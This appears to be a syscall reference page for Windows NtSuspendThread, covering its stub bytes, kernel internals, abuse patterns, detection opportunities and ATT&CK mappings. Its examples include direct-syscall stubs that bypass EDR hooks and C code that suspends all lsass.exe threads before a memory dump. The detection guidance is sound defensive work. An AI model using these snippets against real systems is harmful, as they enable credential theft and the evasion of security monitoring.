NtSuspendThread

Prototype

NTSTATUS NtSuspendThread(
  HANDLE  ThreadHandle,
  PULONG  PreviousSuspendCount
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 CF 01 00 00      mov eax, 0x1CF
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

NtSuspendThread is the kernel primitive behind SuspendThread / Wow64SuspendThread. Its SSN drifts heavily across builds because it lives in the upper, alphabetically-sorted region of the System Service Descriptor Table — every new syscall inserted earlier shifts it. Each successful call increments the kernel-tracked suspend count (KTHREAD->SuspendCount); the thread only resumes when the count returns to zero via matching NtResumeThread calls. The routine ultimately funnels into KeSuspendThread / PsSuspendThread inside ntoskrnl.exe.

Common malware usage

Two dominant abuse patterns. First: thread hijacking — suspend an existing thread, NtGetContextThread, rewrite RIP/RSP to point at shellcode, NtSetContextThread, NtResumeThread (T1055.003). Second, and increasingly common: suspending EDR/AV scanning threads inside the same or a remote process to win a race. Variants (NanoDump style) suspend all threads of lsass.exe before reading memory to obtain a coherent snapshot without triggering thread-creation telemetry. Used by Cobalt Strike's `inject` BOF flavours, Sliver's process-hollowing payloads, and most modern process-doppelganging / ghosting loaders.

Detection opportunities

NtSuspendThread on a remote thread is rare and high-signal — legitimate suspenders are debuggers, profilers, .NET GC, and a small set of compatibility shims. Sysmon does not natively log it; capture via ETW-TI (Microsoft-Windows-Threat-Intelligence: EtwTiLogSuspendThread) or via a kernel callback (ObRegisterCallbacks on thread handles with THREAD_SUSPEND_RESUME). Cross-process suspends targeting security product threads (MsMpEng.exe, Sense.exe, cylancesvc.exe) should be alerted with high confidence. EDR user-mode hooks on ntdll!NtSuspendThread are commonly bypassed via direct/indirect syscalls — kernel telemetry is the reliable path.

Direct syscall examples

; SSN 0x1CF on Win11 24H2 — do NOT hardcode across builds.
NtSuspendThread PROC
    mov  r10, rcx          ; ThreadHandle
    mov  eax, 1CFh
    syscall
    ret
NtSuspendThread ENDP

// Snapshot all threads in target, suspend each, then read memory.
// Mirrors NanoDump / HandleKatz technique.
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { .dwSize = sizeof(te) };
for (BOOL ok = Thread32First(hSnap, &te); ok; ok = Thread32Next(hSnap, &te)) {
    if (te.th32OwnerProcessID != lsassPid) continue;
    HANDLE hT = NtOpenThread_direct(THREAD_SUSPEND_RESUME, te.th32ThreadID);
    if (hT) { NtSuspendThread_direct(hT, NULL); CloseHandle(hT); }
}

use std::arch::asm;

#[unsafe(naked)]
unsafe extern "system" fn nt_suspend_thread_stub() {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x1CF",   // Win11 24H2 only
        "syscall",
        "ret",
        options(noreturn),
    );
}

MITRE ATT&CK mappings

• T1055.003Thread Execution Hijackingmitre ↗
• T1003.001OS Credential Dumping: LSASS Memorymitre ↗
• T1106Native APImitre ↗